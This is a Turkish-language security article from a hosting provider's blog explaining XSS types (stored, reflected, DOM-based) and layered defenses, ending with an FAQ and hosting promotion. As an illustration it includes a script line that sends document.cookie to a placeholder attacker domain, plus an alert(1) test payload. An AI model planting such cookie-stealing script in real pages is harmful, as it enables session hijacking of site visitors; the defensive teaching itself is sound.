XSS (Cross-Site Scripting) Nedir? Korunma Yolları

XSS (Cross-Site Scripting) Nedir? Korunma Yolları

Kısaca

XSS (Cross-Site Scripting), saldırganın bir web sitesine kendi JavaScript kodunu enjekte ederek bu kodu ziyaretçilerin tarayıcısında çalıştırmasıdır. Amaç çoğunlukla oturum çerezlerini çalmak, sahte formlar göstermek veya kullanıcı adına işlem yapmaktır. Korunmanın temeli, kullanıcıdan gelen her veriyi güvenilmez kabul etmek ve ekrana basmadan önce bağlama uygun biçimde kodlamaktır (output encoding).

  • Üç ana tür vardır: Depolanmış (Stored), Yansıyan (Reflected) ve DOM tabanlı XSS.
  • En etkili savunma katmanı çıktı kodlaması, ardından güçlü bir Content Security Policy (CSP) başlığıdır.
  • innerHTML gibi tehlikeli DOM API’lerinden kaçınmak ve DOMPurify gibi kütüphaneler kullanmak zorunludur.

Bir kullanıcı sitenizin arama kutusuna bir kelime yazdığında, yorum bıraktığında veya profilini güncellediğinde, aslında sunucunuza bir veri gönderiyor demektir. Bu verinin çoğu zararsızdır. Ama içine gizlenmiş küçük bir <script> etiketi, doğru koşullar altında sitenizi ziyaret eden herkesin tarayıcısında çalışabilir. İşte XSS (Cross-Site Scripting) tam olarak budur: saldırganın kendi kodunu, sizin güvenilir sitenizin adı altında kurbanın tarayıcısında çalıştırması.

XSS, web güvenliğinin en eski ve en inatçı açıklarından biridir. OWASP’ın injection kategorisi altında yıllardır ilk sıralarda kalmasının sebebi basit: sürekli değişen ön yüz teknolojileri, tek sayfa uygulamaları (SPA) ve dinamik içerik, saldırganlara hep yeni yüzeyler açar. Bu yazıda XSS’in türlerini gerçek örneklerle anlatacak, saldırının teknik mekaniğini açacak ve 2026 itibarıyla geçerli olan katmanlı korunma yöntemlerini adım adım ele alacağız.

XSS Tam Olarak Nasıl Çalışır?

Bir web sayfası, sunucudan gelen HTML’i alır ve tarayıcı bunu yorumlayarak ekrana basar. Tarayıcı, HTML içindeki <script> etiketlerini gördüğünde içindeki JavaScript’i sorgusuz sualsiz çalıştırır. Çünkü tarayıcı, o kodun site sahibi tarafından mı yoksa bir saldırgan tarafından mı yerleştirildiğini ayırt edemez. Kod, sayfanın alan adı bağlamında çalıştığı için, o siteye ait çerezlere, localStorage verilerine ve oturum bilgilerine erişebilir.

Klasik bir örnek düşünelim. Bir blog yorum sisteminiz var ve kullanıcının yazdığı yorumu olduğu gibi sayfaya basıyorsunuz. Bir saldırgan yorum alanına şunu yazarsa:

Mail hosting 1 ay ücretsiz

<script>fetch(‘https://kotu-site.com/calan?c=’+document.cookie)</script>

Bu yorumu okuyan her ziyaretçinin çerezi, saldırganın sunucusuna gönderilir. Eğer çerezde oturum kimliği (session ID) varsa ve HttpOnly bayrağı yoksa, saldırgan o kullanıcının hesabını ele geçirebilir. Aynı mantıkla saldırgan sahte bir giriş formu gösterebilir, kullanıcıyı başka bir siteye yönlendirebilir veya sayfanın görünümünü tamamen değiştirebilir.

XSS Türleri: Depolanmış, Yansıyan ve DOM Tabanlı

XSS saldırıları, zararlı kodun kurbanın tarayıcısına nasıl ulaştığına göre üç ana kategoriye ayrılır. Doğru savunmayı seçmek için bu ayrımı iyi anlamak gerekir.

1. Depolanmış XSS (Stored / Persistent XSS)

En tehlikeli türdür. Zararlı kod sunucuda kalıcı olarak saklanır: veritabanında bir yorum, bir forum mesajı, bir ürün değerlendirmesi ya da bir kullanıcı profili içinde. O sayfayı açan herkes, ek bir işlem yapmasına gerek kalmadan otomatik olarak etkilenir. Tek bir başarılı enjeksiyon binlerce kullanıcıyı vurabildiği için kurumsal ortamlarda en çok korkulan senaryodur.

2. Yansıyan XSS (Reflected XSS)

Bu türde zararlı kod veritabanına yazılmaz; anlık olarak sunucu yanıtına yansır. Genellikle arama sonuçları, hata mesajları veya URL parametreleri üzerinden gerçekleşir. Saldırgan, içine zararlı kod gömdüğü özel bir bağlantı hazırlar (örneğin site.com/ara?q=<script>…</script>) ve bu bağlantıyı e-posta, mesaj ya da sosyal medya yoluyla kurbana gönderir. Kurban bağlantıya tıkladığı anda kod çalışır. Bu yüzden yansıyan XSS, oltalama (phishing) saldırılarıyla iç içe geçer.

3. DOM Tabanlı XSS (DOM-based XSS)

Diğer ikisinin aksine bu tür tamamen istemci tarafında, yani tarayıcının içinde gerçekleşir; sunucu hiçbir zaman devreye girmeyebilir. Zafiyet, JavaScript kodunun URL, referrer veya form verisi gibi kaynaklardan (source) aldığı veriyi güvensiz bir yere (sink) yazmasından doğar. Örneğin URL’deki bir parametreyi doğrudan innerHTML ile sayfaya yazan bir kod, DOM tabanlı XSS’e açık kapı bırakır. Tek sayfa uygulamalarının ve zengin JavaScript arayüzlerinin yaygınlaşmasıyla bu tür giderek daha kritik hale gelmiştir.

Tür Kod nerede işlenir? Kalıcı mı? Tipik giriş noktası
Depolanmış XSS Sunucu (veritabanı) Evet Yorum, profil, forum mesajı
Yansıyan XSS Sunucu (anlık yanıt) Hayır URL parametresi, arama kutusu
DOM Tabanlı XSS Tarayıcı (istemci) Hayır URL fragment, JavaScript sink

XSS’ten Korunma Yolları

XSS’e karşı tek bir sihirli çözüm yoktur. Etkili savunma, birbirini tamamlayan katmanlardan oluşur. Bir katman aşılsa bile diğerinin devreye girmesi esastır. Sırasıyla en önemli önlemleri inceleyelim.

Çıktı Kodlaması (Output Encoding) — En Kritik Adım

Birçok geliştirici XSS’i bir “giriş doğrulama” sorunu sanır, oysa açıkların çoğu çıktı aşamasında doğar. Veriyi doğru şekilde doğrulamış olsanız bile, ekrana basarken bağlamına uygun kodlamazsanız açık kapı kalır. Kodlama, tarayıcının kod olarak yorumlayabileceği karakterleri (< > & ” ‘) zararsız metin karşılıklarına dönüştürür. Örneğin < karakteri &lt; haline gelir ve tarayıcı bunu etiket başlangıcı değil, düz metin olarak görür.

Kritik nokta, kodlamanın bağlama duyarlı olmasıdır. Veriyi HTML gövdesine, bir HTML özniteliğine, bir JavaScript bloğuna, bir URL’ye veya CSS’e basıyorsanız her biri için farklı kaçış kuralları geçerlidir. Modern şablon motorlarının (Twig, Blade, React JSX gibi) çoğu HTML kaçışını varsayılan olarak yapar, ama innerHTML veya dangerouslySetInnerHTML kullandığınız anda bu koruma devre dışı kalır.

Giriş Doğrulama ve Temizleme (Sanitization)

Kullanıcıdan HTML içeriği kabul etmeniz gereken durumlarda (örneğin bir zengin metin editörü) veriyi tamamen kodlayamazsınız, çünkü bazı etiketlere izin vermeniz gerekir. Bu noktada devreye sanitization girer: içeriği ayrıştırıp yalnızca güvenli etiket ve özniteliklere izin veren, gerisini atan bir işlem. İstemci tarafında bunun endüstri standardı DOMPurify kütüphanesidir. Kendi kara liste (blacklist) filtrenizi yazmaya çalışmak neredeyse her zaman başarısız olur; saldırganlar filtreleri atlatmakta ustadır. Her zaman güvenilir, iyi test edilmiş bir kütüphaneye ve beyaz liste (allowlist) yaklaşımına güvenin.

Content Security Policy (CSP)

Content Security Policy, bir HTTP başlığı aracılığıyla tarayıcıya “hangi kaynaktan gelen betiklerin çalışmasına izin verildiğini” bildiren bir beyaz liste mekanizmasıdır. İyi yapılandırılmış bir CSP, kodunuzda bir XSS açığı kalsa bile zararlı betiğin çalışmasını engelleyebilir. Örneğin satır içi (inline) betikleri yasaklamak ve yalnızca kendi alan adınızdan gelen betiklere izin vermek, enjekte edilen bir <script> etiketini etkisiz hale getirir. CSP güçlüdür ama karmaşıktır; birincil savunma değil, son savunma hattı olarak konumlandırılmalıdır.

Tehlikeli DOM API’lerinden Kaçınmak

DOM tabanlı XSS’in temel nedeni, güvensiz “sink”lere veri yazmaktır. Kullanıcı verisini sayfaya basarken innerHTML yerine textContent veya innerText kullanın; bu API’ler içeriği HTML olarak değil, düz metin olarak işler ve enjeksiyonu baştan imkansız kılar. Benzer şekilde eval(), document.write() ve setTimeout‘a string parametre geçmek gibi kalıplardan uzak durun.

Güvenlik Odaklı Çerez ve Başlık Ayarları

Oturum çerezlerinize HttpOnly bayrağını eklemek, çerezin JavaScript tarafından okunmasını engeller. Böylece bir XSS açığı olsa bile saldırgan document.cookie ile oturum kimliğini çalamaz. Buna Secure ve SameSite bayraklarını eklemek savunmayı güçlendirir. Ayrıca modern tarayıcılarda desteklenen Trusted Types, güvensiz DOM enjeksiyonunu kod düzeyinde imkansız hale getiren tip güvenli bir yaklaşımdır.

Önlem Hangi XSS türüne karşı etkili? Katman
Çıktı kodlaması Depolanmış + Yansıyan Sunucu / Şablon
Sanitization (DOMPurify) Üç türde de Uygulama
Content Security Policy Üç türde de (son hat) HTTP başlığı
textContent kullanımı DOM tabanlı İstemci JavaScript
HttpOnly çerez Etki azaltma (çerez hırsızlığı) Sunucu

Sunucu ve Altyapı Tarafında Katmanlı Savunma

XSS öncelikle bir uygulama katmanı açığıdır; asıl çözüm kodun doğru yazılmasından geçer. Ancak altyapı tarafındaki savunma katmanları, kodda gözden kaçan açıkların sömürülmesini zorlaştırır ve kötü niyetli istekleri daha ulaşmadan filtreleyebilir. Bu noktada bir Web Application Firewall (WAF) devreye girer: bilinen XSS imzalarını taşıyan istekleri tanıyıp engeller.

Alastyr’ın barındırma altyapısında paylaşımlı ve sunucu hizmetleri, uygulama katmanını izleyen Imunify360 ve CageFS izolasyonu ile birlikte, honeypot ve tehdit istihbaratı besleyen çift WAF yapısıyla gelir. Bu katman, bilinen enjeksiyon kalıplarını yakalayarak geliştiricinin yükünü hafifletir; ancak WAF’ı asla kod düzeyindeki doğru kodlamanın yerine koymayın, ikisini birlikte kullanın. AlmaLinux ve PHP sürüm seçici sayesinde uygulamanızı güncel, güvenlik yamaları alan bir PHP sürümünde çalıştırmak da saldırı yüzeyini küçültür.

WordPress gibi popüler platformlarda XSS açıkları genellikle güncel olmayan eklentilerden kaynaklanır. Sitenizi güncel tutmak, kullanmadığınız eklentileri kaldırmak ve tema/eklenti seçimine dikkat etmek, uygulama düzeyindeki en pratik XSS önlemleri arasındadır. Yönetimli bir ortam için WordPress hosting çözümlerini, daha fazla kaynak ve izolasyon isteyen projeler için ise bulut sunucu ve VPS sunucu seçeneklerini değerlendirebilirsiniz.

XSS Testleri: Açığınız Var mı?

Bir uygulamanın XSS’e açık olup olmadığını anlamanın en pratik yolu, kullanıcı girişi kabul eden her alanı test etmektir. Arama kutuları, yorum alanları, profil bilgileri, URL parametreleri ve dosya adları başlıca test noktalarıdır. Manuel testte klasik yük olan <script>alert(1)</script> denenir; eğer bir uyarı kutusu çıkıyorsa açık vardır. Ancak modern filtreler bunu çoğunlukla yakalar, bu yüzden gerçek denetimlerde OWASP ZAP, Burp Suite gibi otomatik tarayıcılar ve el ile yapılan penetrasyon testleri birlikte kullanılır. Düzenli güvenlik taraması, üretime çıkmadan önce açıkları yakalamanın en güvenilir yoludur.

Sıkça Sorulan Sorular

XSS ile SQL Injection arasındaki fark nedir?

İkisi de enjeksiyon açığıdır ama hedefleri farklıdır. SQL Injection, veritabanını hedefler ve sunucudaki verilere erişmeyi amaçlar. XSS ise kurbanın tarayıcısını hedefler; amaç çerez çalmak, oturum ele geçirmek veya kullanıcı arayüzünü manipüle etmektir. SQL Injection sunucu tarafı, XSS ise ağırlıklı olarak istemci tarafı bir tehdittir.

XSS gerçekten ne kadar tehlikeli?

Çok tehlikelidir. Başarılı bir XSS saldırısı oturum ele geçirme, hesap devralma, sahte formlarla kimlik bilgisi çalma, kötü amaçlı yazılım dağıtma ve site içeriğini değiştirme gibi sonuçlar doğurabilir. Özellikle depolanmış XSS, tek bir enjeksiyonla binlerce kullanıcıyı aynı anda etkileyebildiği için kritik risk taşır.

Sadece giriş doğrulaması (input validation) XSS’i durdurur mu?

Hayır, tek başına yeterli değildir. Giriş doğrulaması önemli bir katmandır ama XSS açıklarının çoğu çıktı aşamasında, yani veri ekrana basılırken doğar. Bu yüzden asıl belirleyici önlem, bağlama duyarlı çıktı kodlamasıdır. Doğru yaklaşım, giriş doğrulama, sanitization, çıktı kodlaması ve CSP’yi birlikte kullanmaktır.

Content Security Policy tek başına yeterli mi?

Hayır. CSP güçlü bir savunma katmanıdır ve iyi yapılandırıldığında bir açık kalsa bile zararlı betiğin çalışmasını engelleyebilir. Ancak karmaşık yapısı ve olası yanlış yapılandırmalar nedeniyle birincil değil, son savunma hattı olarak konumlandırılmalıdır. Temel koruma yine doğru kodlama ve sanitization’dır.

DOMPurify nedir ve neden önerilir?

DOMPurify, istemci tarafında kullanıcı kaynaklı HTML içeriğini güvenli hale getiren, geniş çapta test edilmiş bir JavaScript kütüphanesidir. Zengin metin gibi HTML kabul etmeniz gereken durumlarda, içeriği ayrıştırıp yalnızca güvenli etiket ve öznitelikleri bırakır. Kendi filtrenizi yazmaktan çok daha güvenlidir çünkü bilinen atlatma tekniklerine karşı sürekli güncellenir.

HttpOnly çerez XSS’i tamamen engeller mi?

Hayır, engellemez; ama etkisini önemli ölçüde azaltır. HttpOnly bayrağı, oturum çerezinin JavaScript ile okunmasını engeller, böylece bir XSS açığı olsa bile saldırgan çerezle oturum çalamaz. Ancak saldırgan hâlâ kullanıcı adına işlem yapabilir veya sahte içerik gösterebilir. Bu yüzden HttpOnly bir etki azaltma önlemidir, tek başına çözüm değildir.

WordPress siteleri neden sık XSS açığı barındırır?

Sorun genellikle WordPress çekirdeğinde değil, güncel olmayan veya kötü yazılmış eklenti ve temalardadır. Birçok eklenti kullanıcı girişini yeterince kodlamadan işler. Eklentileri güncel tutmak, kullanılmayanları kaldırmak, güvenilir kaynaklardan eklenti seçmek ve WAF içeren yönetimli bir barındırma ortamı kullanmak riski belirgin biçimde düşürür.

innerHTML kullanmak her zaman tehlikeli midir?

Kullanıcı kaynaklı veya güvenilmez veri yazıyorsanız evet, tehlikelidir çünkü içerik HTML olarak yorumlanır ve enjekte edilen etiketler çalışır. Yalnızca düz metin göstermeniz gerekiyorsa textContent veya innerText kullanın. HTML basmanız zorunluysa, veriyi önce DOMPurify gibi bir kütüphaneyle temizleyin.

Sitenizi güvenli bir altyapıda barındırın

Imunify360, CageFS izolasyonu ve çift WAF katmanıyla gelen Alastyr barındırma çözümleri, uygulama güvenliğinizi altyapı tarafından da destekler. İzmir’deki kendi veri merkezimizde, 7/24 destek ve ücretsiz SSL ile.

Hosting Paketlerini İncele

Yazı oluşturuldu 4

Benzer yazılar

Aramak istediğinizi üstte yazmaya başlayın ve aramak için enter tuşuna basın. İptal için ESC tuşuna basın.

Üste dön